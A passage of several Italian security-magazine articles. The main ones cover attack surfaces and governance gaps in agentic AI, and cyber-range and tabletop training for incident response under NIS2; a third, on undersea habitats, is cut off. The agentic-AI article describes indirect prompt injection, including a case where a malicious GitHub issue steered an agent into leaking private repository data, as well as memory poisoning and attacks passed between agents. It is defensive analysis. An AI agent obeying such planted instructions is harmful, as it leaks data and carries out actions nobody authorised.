I sistemi di intelligenza artificiale agentica, capaci di pianificare, agire e delegare in modo autonomo, stanno ridisegnando la superficie d’attacco delle organizzazioni a una velocità che i modelli di sicurezza tradizionali non riescono a seguire. Due ricerche peer-reviewed pubblicate all’inizio del 2026, rispettivamente sull’International Journal of Information Security di Springer e come preprint IEEE su arXiv, forniscono per la prima volta un framework sistematico per la valutazione di questi rischi.

I dati di mercato confermano l’urgenza: l’88% delle organizzazioni ha già subito incidenti legati ad agenti AI, mentre la quota di deployment approvati dai team di sicurezza non supera il 15%. L’articolo analizza i vettori d’attacco emergenti, le lacune strutturali nella governance e le implicazioni operative per CISO, security architect e compliance officer.

Oltre la generazione: quando l’AI comincia ad agire

Per anni il dibattito sulla sicurezza dell’intelligenza artificiale si è concentrato sui modelli linguistici nel loro senso più semplice: sistemi che ricevono un input e producono un output, sotto supervisione umana, in un ciclo chiuso. Quella stagione è finita.

I sistemi di AI agentica, detti anche AI agents, rappresentano una discontinuità qualitativa rispetto ai chatbot e ai modelli generativi di prima generazione. Non si limitano a rispondere: pianificano sequenze di azioni, utilizzano strumenti esterni, interrogano database, scrivono ed eseguono codice, coordinano altri agenti subordinati, aggiornano i propri piani in base ai risultati intermedi. Operano su orizzonti temporali estesi, spesso senza che un essere umano intervenga tra un’azione e la successiva. Sono, a tutti gli effetti, partecipanti attivi nell’infrastruttura aziendale.

Questa autonomia è esattamente ciò che li rende preziosi per le imprese e pericolosamente esposti agli attaccanti.

La ricerca scientifica inquadra il problema

Due contributi pubblicati nei primi mesi del 2026 hanno il merito di portare rigore scientifico in un campo che, fino ad oggi, era dominato principalmente da report di vendor e analisi di mercato.

Il primo, firmato da Leo, Tan, Miao e Anand, è apparso sull’International Journal of Information Security di Springer il 4 gennaio 2026 (vol. 25, art. 23).

Il lavoro costruisce il primo framework sistematico per la valutazione del rischio specifico dei sistemi agentici. I ricercatori identificano vettori d’attacco che non trovano corrispondenza nella tassonomia tradizionale della cybersecurity: la prompt injection indiretta, in cui istruzioni malevole vengono iniettate nei dati che l’agente consuma durante l’esecuzione; il memory poisoning, che altera la memoria a lungo termine del sistema compromettendone le decisioni future; la privilege escalation non autorizzata tra agenti, che sfrutta la fiducia implicita nei protocolli di comunicazione multi-agente. Il paper si concentra in particolare sui settori ad alto rischio, finanza e infrastrutture critiche, dove l’autonomia degli agenti si combina con l’accesso a sistemi di importanza sistemica.

Il secondo contributo, di Jiang, Yang, Yang e colleghi, è disponibile come preprint arXiv con copyright IEEE (arXiv:2602.19555, sottomesso il 23 febbraio 2026). I ricercatori analizzano come i sistemi agentici basati su LLM estendano la superficie d’attacco al runtime, il momento vivo dell’esecuzione, attraverso le dipendenze da strumenti e protocolli esterni.

Tra i dati più rilevanti del paper vi è la situazione dei registri MCP (Model Context Protocol), lo standard emergente per connettere i modelli a tool e sorgenti dati: i registri non ufficiali indicizzano, secondo le analisi disponibili a inizio 2026, una quantità di server circa otto volte superiore a quella del registro ufficiale, e la distinzione tra server verificati e non è spesso tutt’altro che immediata. La supply chain degli agenti è, per larga parte, opaca.

I due paper convergono su una diagnosi comune: la sicurezza agentica richiede framework dinamici, orientati al comportamento in esecuzione, che i modelli attuali, progettati per software statico, non sono in grado di fornire.

I numeri di un’adozione senza governance

I dati di mercato del primo semestre 2026 restituiscono un quadro che, nelle sue proporzioni, non ha precedenti in nessun altro ciclo tecnologico.

Il 48% dei professionisti della sicurezza identifica l’AI agentica e i sistemi autonomi come il principale vettore d’attacco emergente del 2026, superando deepfake, identità non-human e adozione del passwordless: è quanto emerge da un sondaggio condotto da Dark Reading. L’80,9% dei team tecnici ha già superato la fase di pianificazione, passando al testing attivo o al deployment in produzione; tuttavia, solo il 14,4% di questi agenti è andato live con la piena approvazione dei team di sicurezza e IT (fonte: State of AI Agent Security 2026, Gravitee).

Il gap tra fiducia manageriale e controllo operativo è uno dei dati più rilevanti. L’82% dei dirigenti dichiara di ritenere che le policy esistenti proteggano adeguatamente l’organizzazione da azioni non autorizzate degli agenti. I dati sul campo raccontano una storia diversa: oltre la metà degli agenti in produzione opera senza supervisione di sicurezza né logging (AGAT Software, 2026). Il 48,9% delle organizzazioni non è in grado di monitorare il traffico machine-to-machine generato dai propri agenti; il 48,3% non riesce a distinguere agenti AI legittimi da bot malevoli (fonte: 1H 2026 State of AI and API Security Report, Salt Security).

L’88% delle organizzazioni ha registrato incidenti di sicurezza confermati o sospetti legati ad agenti AI nell’ultimo anno; nel settore sanitario, la percentuale sale al 92,7% (Gravitee, State of AI Agent Security 2026). Non sono scenari ipotetici che vivono nei paper accademici: sono violazioni già avvenute.

I vettori d’attacco che ridisegnano il threat model

Comprendere perché l’AI agentica sia strutturalmente più esposta rispetto alle applicazioni tradizionali richiede un cambio di prospettiva sul threat modeling.

Prompt injection indiretta e tool poisoning. Un agente non consuma solo l’input dell’utente: legge documenti, naviga pagine web, interroga API, processa output di altri sistemi. Qualunque di questi canali può veicolare istruzioni malevole. Come approfondito nella nostra analisi sulla prompt injection negli agenti AI, Invariant Labs ha documentato nel maggio 2025 un caso esemplare: il server MCP ufficiale di GitHub ha permesso a una issue malevola, inserita in un repository pubblico, di iniettare istruzioni nascoste che hanno dirottato un agente attivando l’esfiltrazione di dati da repository privati. Il punto critico è che l’agente ha eseguito l’azione attraverso un tool legittimo: nessun firewall tradizionale avrebbe potuto intercettarla.

Memory poisoning e persistenza dell’attacco. I sistemi agentici mantengono memoria a lungo termine per supportare ragionamenti complessi su sessioni estese. La corruzione di questa memoria non produce effetti immediati visibili: altera silenziosamente le premesse su cui l’agente fonda le decisioni future. È un vettore particolarmente insidioso perché i suoi effetti emergono gradualmente e sono difficili da attribuire a una singola causa.

Escalation tra agenti e cascading failure. In architetture multi-agente, un agente orchestratore può detenere le credenziali di più agenti subordinati: se viene compromesso, l’attaccante ottiene accesso a tutti i sistemi downstream. Il paper di Jiang et al. illustra come un agente ricercatore compromesso possa inserire istruzioni nascoste nell’output consumato da un agente finanziario, che quindi esegue operazioni non autorizzate. La propagazione dei fallimenti è sistemica: simulazioni condotte da Galileo AI nel dicembre 2025 hanno documentato che un singolo agente compromesso può avvelenare l’87% del processo decisionale downstream entro quattro ore.

Shadow AI e identità non-human. Studi recenti indicano che circa tre quarti delle organizzazioni devono fare i conti con utilizzo non governato di strumenti AI da parte dei propri team. Sviluppatori e product manager deployano agenti autonomamente, connettendoli a tool, server MCP e API esterne che il team di sicurezza non ha mai mappato né approvato. Ogni agente introdotto è anche una nuova identità non-human che richiede credenziali, token OAuth, accesso API: sfide che i sistemi di identity management legacy non sono stati progettati per gestire.

Il problema strutturale: sicurezza progettata per artefatti statici

La diagnosi più profonda che emerge dalla letteratura recente è di natura architettonica.

La sicurezza informatica si è sviluppata, nei suoi decenni di storia, intorno a un presupposto implicito: i sistemi da proteggere sono sostanzialmente stabili. Un’applicazione ha una configurazione, un perimetro, un insieme definito di comportamenti possibili. Le policy di sicurezza si applicano a questi confini noti.

I sistemi agentici violano questo presupposto alla radice. Non hanno comportamenti fissi: apprendono dal contesto, si adattano agli ambienti che cambiano, prendono decisioni che non erano state anticipate dai loro sviluppatori. Il perimetro da difendere non è statico: si ridisegna ad ogni ciclo di inferenza, ad ogni interazione con un tool esterno, ad ogni messaggio scambiato con un agente coordinato.

Un firewall non ferma una prompt injection. Un API gateway non impedisce a un agente sovra-privilegiato di esfiltrare dati attraverso una chiamata a tool legittima. Le categorie della sicurezza tradizionale (perimetro, accesso, autenticazione) rimangono necessarie ma non sufficienti. Richiedono un complemento: visibilità comportamentale in tempo reale sull’esecuzione degli agenti. Su questo tema si innesta anche la lettura del cybercrime 2026, che documenta come gli attaccanti stiano già sfruttando sistematicamente questa lacuna.

Le implicazioni per il quadro regolatorio europeo

L’AI agentica non è un fenomeno che si sviluppa in un vuoto normativo. Il quadro europeo in costruzione, EU AI Act, NIS2 e DORA, pone requisiti che intersecano direttamente le caratteristiche di questi sistemi, anche se nessuno di questi strumenti è stato progettato specificamente per l’agenticità.

L’EU AI Act classifica come ad alto rischio i sistemi AI che operano in settori critici (infrastrutture, finanza, salute), con obblighi di trasparenza, supervisione umana e tracciabilità delle decisioni. Un agente che opera autonomamente su sistemi finanziari o sanitari rientra in questa classificazione, con tutto ciò che ne consegue in termini di documentazione e governance del ciclo di vita. Come abbiamo già analizzato nel nostro approfondimento sull’EU AI Act e il GPAI, la scadenza del 2 agosto 2026 per i sistemi ad alto rischio è ormai prossima.

La NIS2 impone la gestione del rischio della supply chain: e la supply chain degli agenti (modelli, plugin, server MCP, dataset di training) è esattamente il vettore che la ricerca identifica come più esposto. DORA richiede test di resilienza operativa per le entità finanziarie: requisito che include, implicitamente, i sistemi AI agentici integrati nelle operazioni core.

Una singola violazione su un agente AI dispiegato in un’istituzione finanziaria potrebbe attivare simultaneamente obblighi di notifica sotto tutti e tre i regimi, con tempistiche, soglie di materialità e autorità competenti differenti. È la sfida che i compliance officer stanno iniziando ad affrontare, spesso senza gli strumenti adeguati, come mostra la convergenza normativa NIS2, DORA e CER.

Verso una security posture agentica: principi operativi

La letteratura scientifica e i dati operativi convergono su un insieme di principi che, pur non esaustivi, possono orientare l’approccio delle organizzazioni.

Il primo è il least privilege per gli agenti: ogni sistema agentico dovrebbe operare con le autorizzazioni minime necessarie per completare il proprio task. Agenti sovra-privilegiati trasformano una singola prompt injection in una compromissione dell’intero ambiente. Il secondo è la visibilità sul runtime: il monitoraggio degli agenti non può limitarsi al momento del deployment, ma deve essere continuo, comportamentale, capace di rilevare derive rispetto al comportamento atteso.

Il terzo è la governance della supply chain agentica: ogni tool, server MCP, plugin o modello esterno integrato nell’ecosistema degli agenti è un potenziale vettore e richiede lo stesso processo di vetting applicato ai vendor software tradizionali. Il quarto è la tracciabilità delle decisioni: in un contesto regolatorio che richiede audit trail, ogni azione significativa di un agente deve essere loggata con sufficiente granularità da permetterne la ricostruzione post-incidente.

Questi principi non risolvono il problema, che ha radici strutturali profonde, ma definiscono il perimetro minimo di una postura difensiva consapevole.

Conclusione

C’è una tentazione, davanti a tecnologie che si diffondono così rapidamente, di considerare i rischi come un costo accettabile dell’innovazione, come un problema che si risolverà da solo con la maturazione del mercato. La storia della cybersecurity insegna che questa scommessa raramente paga.

I sistemi agentici stanno entrando nelle infrastrutture critiche, nelle operazioni finanziarie, nelle catene di fornitura software con una velocità che non ha precedenti. La ricerca scientifica, per sua natura più lenta del mercato, sta iniziando solo ora a produrre i framework concettuali necessari per comprenderne i rischi in modo sistematico. Il divario tra adozione e governo è reale, misurabile e si sta allargando.

La domanda rilevante non è se fermare questa transizione. È se le organizzazioni, e il sistema normativo che le inquadra, saranno in grado di colmare quel divario prima che diventi la prossima grande crisi della sicurezza digitale.

https://www.ictsecuritymagazine.com/articoli/ai-agentica/

C’è una verità scomoda che chiunque abbia mai operato in un SOC durante un incidente reale conosce bene: nessun corso, nessuna certificazione, nessuna slide può replicare la pressione di un attacco in corso. La differenza tra sapere e saper fare, in cybersecurity, si manifesta esattamente nel momento peggiore, quando i sistemi smettono di rispondere, i log sono incompleti, le comunicazioni interne si inceppano e il CISO chiede aggiornamenti ogni cinque minuti.

La formazione tradizionale, quella basata su aule, manuali e quiz di verifica, ha un merito innegabile: trasferisce conoscenza. Ma la conoscenza da sola non basta. Costruire un piano di risposta agli incidenti è diverso dall’eseguirlo sotto pressione. Leggere un playbook è cosa diversa dal seguirlo quando metà del team è in videoconferenza di crisi e l’altra metà sta ancora cercando di capire il vettore iniziale di compromissione.

È da questa consapevolezza che nasce il paradigma della formazione immersiva, che nel 2026 si è pienamente affermato: un approccio che non si limita a insegnare la teoria della risposta agli incidenti, ma simula le condizioni in cui quella risposta deve avvenire. Cyber range, esercitazioni tabletop avanzate, ambienti live-fire a scala nazionale sono strumenti che stanno ridisegnando il modo in cui le organizzazioni, i team SOC e gli incident responder si preparano all’evento che, prima o poi, arriverà. Come abbiamo già analizzato, nel 2026 la simulazione come strumento formativo ha fatto un salto qualitativo netto.

Cosa si intende per cyber range: architettura di un campo di addestramento digitale

Un cyber range è, nella sua essenza, un ambiente virtualizzato o ibrido che riproduce fedelmente infrastrutture IT e OT reali, tra cui reti aziendali, sistemi SCADA, ambienti cloud e dispositivi endpoint, all’interno del quale è possibile lanciare e subire attacchi senza alcun rischio per i sistemi di produzione.

La distinzione tra un cyber range e un semplice laboratorio di sicurezza sta nella complessità e nella fedeltà della simulazione. Un laboratorio può includere alcune macchine virtuali per esercitarsi su specifiche tecniche. Un cyber range replica la stratificazione di una vera infrastruttura critica, inclusi gli errori di configurazione, le interdipendenze tra sistemi e i limiti di visibilità tipici di una rete reale, e vi inserisce un team che deve operare esattamente come farebbe di fronte a un incidente vero.

I cyber range più evoluti integrano oggi diversi livelli di complessità: scenari tecnici che testano le capacità di rilevamento, contenimento e analisi forense; livelli strategici che coinvolgono decision maker chiamati a valutare l’impatto operativo e le opzioni di risposta; dimensioni legali e di comunicazione, perché un incidente reale genera sempre la necessità di notificare le autorità, gestire la comunicazione pubblica e valutare le implicazioni normative.

Questa architettura multi-livello è esattamente ciò che distingue la formazione immersiva da qualsiasi altra forma di preparazione: non allena singole competenze tecniche, ma la capacità del team di funzionare come sistema integrato sotto pressione.

Il panorama europeo: dalle esercitazioni nazionali ai grandi esercizi multinazionali

L’Europa dispone oggi di un ecosistema di esercitazioni cyber tra i più strutturati al mondo, con due pilastri che meritano attenzione particolare.

Cyber Europe: l’esercitazione pan-europea di ENISA

Organizzata dall’Agenzia dell’Unione Europea per la Cybersicurezza (ENISA) con cadenza biennale dal 2010, Cyber Europe è la più grande e complessa esercitazione di gestione delle crisi informatiche a livello europeo. La serie conta a oggi sette edizioni completate: Cyber Europe 2026 sarà l’ottava, pianificata per giugno 2026, con l’obiettivo di rafforzare la preparedness cyber delle infrastrutture critiche dell’UE. Quest’anno l’esercitazione si concentrerà sul settore dei trasporti, in particolare sui sottosettori ferroviario e marittimo identificati come ad alta criticità dalla NIS2.

La scelta del settore non è casuale. Secondo i dati analizzati nell’ultimo ENISA Threat Landscape, i trasporti rappresentano il secondo settore più colpito nel 2024, con l’11% del totale degli incidenti cyber e il 15% di quelli diretti verso l’UE. Il rapporto ENISA NIS360 2024 segnala inoltre che il settore marittimo si trova nella cosiddetta risk zone di maturità-criticità, mentre quello ferroviario ne è al limite: due settori con elevata criticità e margini significativi di miglioramento della postura cyber.

L’edizione precedente, Cyber Europe 2024 (settima della serie), si era svolta il 19 e 20 giugno in formato ibrido, con coordinamento del Centro di Controllo delle Esercitazioni di Atene. L’esercitazione ha simulato attacchi su larga scala alle infrastrutture energetiche europee in un contesto di tensione geopolitica con una nazione fittizia, testando la capacità di risposta e gestione della crisi su scala continentale.

Secondo l’After Action Report ENISA, Cyber Europe 2024 ha coinvolto circa 5.000 partecipanti, tra cui oltre 1.000 esperti operativi, provenienti dai settori energetico, delle infrastrutture digitali, della pubblica amministrazione e dalle istituzioni UE, con la partecipazione di 30 agenzie nazionali di cybersicurezza degli Stati membri UE e dei Paesi EFTA.

L’ACN italiana era tra i partecipanti. Il Direttore Generale Bruno Frattasi ha sottolineato come le esercitazioni siano parte integrante della Strategia Nazionale di Cybersicurezza 2022-2026, che alla misura 38 prevede periodiche esercitazioni interministeriali anche in ambito Perimetro di sicurezza nazionale.

Locked Shields: il live-fire exercise più complesso al mondo

Se Cyber Europe è l’esercitazione della gestione delle crisi, Locked Shields, organizzato dal NATO Cooperative Cyber Defence Centre of Excellence (CCDCOE) di Tallinn, è la massima espressione del live-fire training: attacchi reali, in tempo reale, su infrastrutture virtualizzate di scala nazionale, gestite dal cyber range operato dalla CR14 Foundation.

L’edizione 2025, svoltasi dal 5 al 9 maggio, ha visto quasi 4.000 esperti cyber da 41 nazioni impegnati a difendere più di 8.000 sistemi virtuali contro oltre 8.000 attacchi sofisticati, con 17 Blue Team multinazionali formati per rafforzare la cooperazione tra paesi. L’esercitazione ha raggiunto questo livello di complessità partendo da soli quattro paesi e 60 partecipanti nel 2010: quindici anni di crescita continua, rispecchiata nella scala degli organizzatori, con 450 pianificatori e sviluppatori e più di 25 partner industriali coinvolti nell’edizione 2025.

Lo scenario ha incluso tensioni geopolitiche, violazioni della sovranità e attacchi informatici su larga scala. Tra le innovazioni introdotte nel 2025: infrastruttura cloud-based, scenari con tematiche di quantum computing nel track di strategic decision-making, narrative guidate da AI su tutti i track principali e un sistema di punteggio ridisegnato per premiare collaborazione e resilienza.

Locked Shields 2026, svoltasi a Tallinn dal 20 al 24 aprile, ha riunito circa 4.000 partecipanti da 41 nazioni, organizzati in 16 squadre multinazionali. Il primo posto è stato conquistato dal team congiunto Lettonia-Singapore, seguito a pari merito dalle squadre Francia-Svezia e Germania-Austria-Lussemburgo-Svizzera.

L’edizione ha ampliato il segmento cloud, integrato sistemi aggiuntivi e introdotto una nuova categoria di Critical Special Systems a supporto degli sforzi di difesa nazionale, mentre sul fronte della ricerca interna l’obiettivo era avvicinarsi ulteriormente a un Blue Team completamente automatizzato.

Ciò che rende Locked Shields unico non è solo la scala: è la filosofia. L’esercitazione simula un conflitto cyber realistico su larga scala, testando capacità tecniche, operative e strategiche insieme alle capacità decisionali sotto pressione, e incorpora dimensioni legali e di comunicazione per forgiare quella mentalità da situazione di crisi che costringe i team a pensare rapidamente, adattarsi a minacce impreviste e collaborare con strutture di altri paesi.

Il panorama italiano: tra eccellenza pubblica e offerta privata

L’Italia dispone di un ecosistema di formazione immersiva articolato su tre livelli: quello istituzionale (con ACN e strutture universitarie), quello industriale (con i grandi player del settore difesa e cybersecurity) e quello emergente delle PMI e delle accademie specializzate.

Sul versante istituzionale, Cyber 4.0, il Centro di Competenza nazionale ad alta specializzazione per la cyber security con sede a Roma, include tra le proprie attività corsi erogati attraverso l’utilizzo di cyber range e strumenti di formazione immersiva, capaci di generare scenari complessi di cyber warfare entro cui eseguire sessioni pratiche. Il Centro è partner di Leonardo Cyber Academy nell’organizzazione di Cyber Shield, una competizione immersiva sviluppata sulle piattaforme di cyber range di Leonardo che simula le attività di analisi e gestione di un incidente di cybersecurity reale in formato a squadre con percorsi a difficoltà crescente.

HWG Sababa, tra i principali managed security provider italiani, premiata con cinque riconoscimenti ai Global InfoSec Awards 2026 durante la RSAC Conference, ha scelto un approccio non convenzionale alla formazione con il Cyber Bus: portare la formazione immersiva fuori dalle aule tradizionali, direttamente nei luoghi in cui la sicurezza digitale è realmente necessaria, tra cui aziende, scuole e pubbliche amministrazioni. Il metodo formativo si fonda su simulazioni pratiche, scenari realistici e momenti di confronto che pongono le persone al centro dell’interazione.

Sul versante globale dei cyber range as-a-service, Cloud Range ha ottenuto il riconoscimento Gold nella categoria Cyber Readiness and Validation dei 2026 Cybersecurity Excellence Awards. La piattaforma consente alle organizzazioni di misurare le capacità di team, processi, tecnologie e sistemi AI in condizioni che replicano un attacco reale, attraverso ambienti live-fire che coprono IT, OT/ICS, cloud e infrastrutture ibride.

IBM X-Force Cyber Range, attivo dal 2016 con oltre 17.000 leader aziendali formati, propone simulazioni gamificate che affrontano competenze tecniche, di leadership e di comunicazione per team di sicurezza, dirigenti e consigli di amministrazione, con facility fisiche a Cambridge (Massachusetts), Washington DC, Ottawa (in partnership con l’Università di Ottawa) e Bangalore.

Il programma è progressivamente stato esteso, con l’apertura nel marzo 2024 di un range dedicato alle agenzie federali e alle infrastrutture critiche americane, affiancando i format immersivi fissi con esperienze virtuali e mobile.

I modelli di esercitazione: una tassonomia operativa

La formazione immersiva non è un format unico. Esiste una progressione logica di modelli, ciascuno adatto a obiettivi e livelli di maturità diversi.

Tabletop Exercise (TTX). È il modello più accessibile: una sessione facilitata in cui i partecipanti, tra cui dirigenti, responsabili IT, legali e comunicazione, discutono verbalmente come risponderebbero a un incidente presentato dallo scenario. Non richiede infrastrutture tecniche, ma è straordinariamente efficace per identificare lacune nei processi decisionali, nella catena di comando e nei flussi di comunicazione. Il suo limite strutturale è che simula le discussioni, non le azioni.

Functional Exercise. Un gradino sopra: i team eseguono le proprie funzioni reali in risposta a uno scenario simulato, attivando procedure operative, comunicando con le autorità e coordinando la risposta. Non si toccano i sistemi reali, ma si esercitano i comportamenti organizzativi, i processi di escalation e le interfacce con i soggetti esterni, incluse le notifiche alle autorità competenti.

Live-fire Exercise su cyber range. Il livello più avanzato: attacchi reali contro infrastrutture virtualizzate, con team che rispondono in tempo reale. Qui si testano le competenze tecniche vere, dal rilevamento di intrusioni all’analisi forense, dal contenimento all’eradicazione, in condizioni di pressione autentica. È il formato adottato da Locked Shields, e la massima espressione di questo approccio formativo.

Red/Blue/Purple Team Exercise. Un modello che si integra con i cyber range: il Red Team (attaccante) testa le difese del Blue Team (difensore), mentre il Purple Team favorisce la condivisione delle conoscenze tra le due parti. La variante Purple è particolarmente utile per accelerare il miglioramento delle capacità di detection, riducendo il tempo che normalmente separa l’identificazione di una tecnica offensiva dalla sua integrazione nelle regole di rilevamento difensivo.

La scelta del modello dipende dalla maturità dell’organizzazione, dagli obiettivi formativi e dalle risorse disponibili. Un’organizzazione che non ha mai condotto un TTX non è pronta per un live-fire exercise su cyber range: i due strumenti non si escludono, ma si costruiscono l’uno sull’altro in una progressione logica.

Costi, benefici e il calcolo che le organizzazioni evitano di fare

Il tema dei costi è spesso usato come alibi per rimandare la formazione immersiva. Vale la pena affrontarlo con onestà.

L’implementazione di un cyber range proprietario, con hardware dedicato, software di orchestrazione e scenari sviluppati su misura, richiede investimenti significativi, nell’ordine delle centinaia di migliaia di euro per soluzioni enterprise complete. È una soglia che giustifica la scelta di piattaforme cloud-based o di servizi gestiti, dove il costo si trasforma in un canone operativo accessibile anche a organizzazioni medie.

Il beneficio va misurato non solo in termini di competenze acquisite, ma di rischio ridotto. Secondo l’IBM Cost of a Data Breach Report 2025, che ha analizzato 600 organizzazioni colpite da violazioni tra marzo 2024 e febbraio 2025, il costo medio globale di un data breach è di 4,44 milioni di dollari, in calo del 9% rispetto ai 4,88 milioni del 2024 grazie a detection più rapida abilitata da strumenti AI.

Le organizzazioni che fanno uso estensivo di AI e automazione nella propria sicurezza hanno risparmiato in media 1,9 milioni di dollari per violazione e hanno ridotto il ciclo di vita della violazione di 80 giorni. Nello stesso rapporto, le organizzazioni che avevano costituito un team di incident response e testato regolarmente il proprio piano IR hanno registrato tempi di risposta più rapidi e costi inferiori rispetto a quelle che non avevano fatto né l’uno né l’altro.

Il nesso causale è diretto: formare i team in ambienti simulati equivale a testare i piani di risposta, e testare i piani di risposta riduce l’impatto economico degli incidenti reali.

C’è poi un beneficio meno quantificabile ma non meno reale: la coesione del team. Un esercizio di cyber range rivela come funziona davvero un team sotto pressione, chi guida, chi si blocca, dove si creano colli di bottiglia comunicativi. Questi elementi raramente emergono nei corsi tradizionali e sono invece determinanti nella gestione di un incidente reale.

L’integrazione con NIS2: dalla compliance alla preparedness operativa

Con il 2026, l’Italia è entrata nella fase decisiva dell’implementazione della Direttiva NIS2 (D.Lgs. 138/2024). Le implicazioni per la formazione sono dirette e cogenti, e il quadro normativo continua a evolversi.

Il 20 gennaio 2026, la Commissione europea ha proposto emendamenti mirati alla NIS2 per aumentare la chiarezza giuridica e semplificare la compliance, con misure che interesseranno circa 28.700 aziende, di cui 6.200 micro e piccole imprese. Il perimetro viene ampliato ai provider di wallet digitali e agli operatori di infrastrutture sottomarine. Il quadro normativo è dunque in movimento, e le organizzazioni già in percorso di adeguamento dovranno tenerne conto nell’aggiornamento dei propri piani.

Sul fronte italiano, tra le principali novità della Direttiva figura l’obbligo di formazione continua per i componenti degli organi di gestione: non un semplice corso una tantum, ma aggiornamenti a cadenza regolare che vedono i CdA coinvolti in prima linea. La sicurezza informatica cessa di essere un tema delegabile ai soli team tecnici e diventa elemento strutturale della governance aziendale.

Le Linee Guida NIS – Specifiche di base pubblicate dall’ACN il 4 settembre 2025 hanno individuato, all’Appendice C, undici documenti strategici che devono essere formalmente approvati dagli organi apicali, tra cui il piano di gestione del rischio, i piani di business continuity e disaster recovery, il piano di risposta agli incidenti e il piano di formazione in materia di sicurezza informatica.

Il 24 dicembre 2025 è stata pubblicata la Determinazione ACN n. 379907/2025, che ha aggiornato e consolidato le misure di sicurezza di base e i criteri per gli incidenti significativi sostituendo la precedente Determinazione n. 164179/2025 del 14 aprile 2025. Entrata in vigore il 15 gennaio 2026, da quella data è pienamente operativo l’obbligo di notifica degli incidenti significativi al CSIRT Italia.

L’obbligo di adozione delle misure di sicurezza è invece fissato a ottobre 2026, a 18 mesi dall’inserimento nell’elenco nazionale NIS. Da quella data l’ACN potrà avviare le attività ispettive, transitando dalla fase di accompagnamento alla fase di verifica vera e propria. Per una mappa completa delle scadenze e degli adempimenti tecnici, si rimanda alla nostra guida agli adempimenti NIS2.

Il punto critico è questo: NIS2 non prescrive un numero di ore di formazione né un tipo specifico di esercitazione. Prescrive la sostanza, ovvero che le organizzazioni siano effettivamente preparate a rilevare, gestire e notificare gli incidenti. La formazione immersiva è lo strumento più diretto per dimostrare, anche in sede ispettiva, che questa preparazione esiste e viene mantenuta nel tempo.

Come integrare la formazione immersiva nel piano annuale: un approccio pratico

La costruzione di un programma di formazione immersiva che risponda agli obblighi NIS2 e generi valore operativo reale segue una logica progressiva.

Il punto di partenza è la valutazione della maturità attuale: dove si trovano i gap più significativi, nella detection, nel contenimento, nella comunicazione interna, nel coordinamento con le autorità? Questa valutazione orienta la scelta del modello di esercitazione più adatto e alimenta direttamente il piano di formazione in materia di sicurezza informatica che le Linee Guida ACN richiedono tra i documenti da approvare formalmente dagli organi apicali.

Per le organizzazioni che si avvicinano per la prima volta alla formazione immersiva, un tabletop exercise ben progettato su uno scenario realistico, come un ransomware che blocca i sistemi operativi o un’esfiltrazione di dati via fornitore compromesso, è il punto di partenza ideale. Richiede poche risorse, coinvolge il management e produce una lista di gap da colmare che diventa la roadmap per i passi successivi.

Il passo successivo è un functional exercise che attivi i processi reali di incident response: notifica al CSIRT Italia nei termini previsti dalla Determinazione ACN 379907/2025, comunicazione alla direzione, coordinamento con il team legale. Questo livello rivela le criticità procedurali che il tabletop non può intercettare.

Solo a questo punto il live-fire exercise su cyber range ha senso: i team che lo affrontano hanno già validato i propri processi e possono concentrarsi sul testare le competenze tecniche in condizioni di pressione autentica.

La frequenza ideale è almeno un’esercitazione tabletop per semestre, un functional exercise annuale e un cyber range exercise ogni uno o due anni. Per le organizzazioni classificate come soggetti essenziali, che operano in settori ad alta criticità come energia, sanità, infrastrutture digitali e trasporti, la frequenza dovrebbe essere superiore, anche in ragione dei requisiti più stringenti previsti dalla Determinazione ACN.

Una riflessione finale: la preparazione come investimento culturale

C’è una tensione irrisolta nel modo in cui molte organizzazioni affrontano la formazione in cybersecurity: la trattano come un costo da minimizzare piuttosto che come un investimento da ottimizzare. Il risultato è che si acquistano certificazioni, si compilano moduli di compliance, si aggiornano i piani di incident response e poi questi piani restano nei cassetti fino al momento in cui qualcuno si trova davvero a dover gestire un incidente.

Nel 2026 il gap di competenze nella cybersecurity non si è chiuso: si è ampliato, perché la velocità di evoluzione delle minacce e delle tecnologie supera sistematicamente la velocità di formazione dei professionisti. I cyber range e la formazione immersiva non sono la risposta definitiva a questo problema strutturale, ma sono lo strumento più efficace per ridurre la distanza tra quello che i team sanno e quello che sono in grado di fare quando conta davvero.

La cultura della preparedness non si costruisce con una singola esercitazione annuale. Si costruisce con la ripetizione, con il feedback strutturato, con la capacità di apprendere dagli errori commessi in un ambiente sicuro invece che durante un incidente reale. Si costruisce, in altre parole, esattamente come si costruisce qualsiasi altra competenza operativa ad alto rischio: attraverso la pratica deliberata, sistematica e rigorosa.

I team che saranno davvero pronti all’incidente reale non sono quelli che hanno fatto il corso giusto. Sono quelli che hanno già vissuto, almeno una volta, la pressione di un attacco, anche se simulato, e sanno cosa fare quando arriva quello vero.

https://www.ictsecuritymagazine.com/articoli/cyber-range/

Immagina di svegliarti al mattino circondato dal blu profondo dell’oceano. Sottili lame di luce filtrano dalle pareti trasparenti mentre, decine di metri sopra di te, onde silenziose si infrangono contro la superficie.

Sei in Vanguard, un habitat sottomarino all’avanguardia, progettato per ospitare esseri umani in missioni prolungate sul fondo del mare. Ma tra sensori, sistemi di supporto vitali e comunicazione digitale, c’è una domanda che emerge in tutta la sua urgenza: come si protegge un mondo sommerso da un attacco informatico?

“Il mare, una volta che ha lanciato il suo incantesimo, ti tiene per sempre nella sua rete di meraviglia.”

Jacques Cousteau

Cybersecurity negli habitat sottomarini: proteggere infrastrutture e dati in ambienti estremi

A metà del Novecento, Jacques Cousteau fu un pioniere visionario dell’esplorazione marina. Sognava una convivenza armoniosa tra l’uomo e il mondo sommerso, affrontando sfide che andava- no ben oltre i limiti tecnologici del suo tempo.

Oggi, più di mezzo secolo dopo, quel sogno prende forma grazie a habitat avanzati come Vanguard: progettato dall’azienda DEEP, entrerà in fase di sperimentazione alla fine del 2025.

E come ogni ambiente complesso e isolato, anche questo richiede l’implementazione di tecnologie avanzate: sensori ambientali, sistemi di supporto vitale, monitoraggio medico, comunicazioni in tempo reale con la superficie.

Questi sistemi costituiscono punti critici potenzialmente vulnerabili. Un cyberattacco potrebbe non solo compromettere dati sensibili, ma anche mettere a rischio la continuità operativa di missioni sottomarine.

Le vene invisibili del Pianeta

Storicamente, uno dei punti più critici (e spesso trascurati) nella cybersecurity oceanica è rappresentato dai cavi sottomarini, veri e propri “tubi digitali” che trasportano oltre il 95% del traffico globale di Internet. Collegano continenti, finanziano economie, trasmettono dati militari. E sono vulnerabili.

Negli ultimi anni, diversi incidenti lo hanno dimostrato.

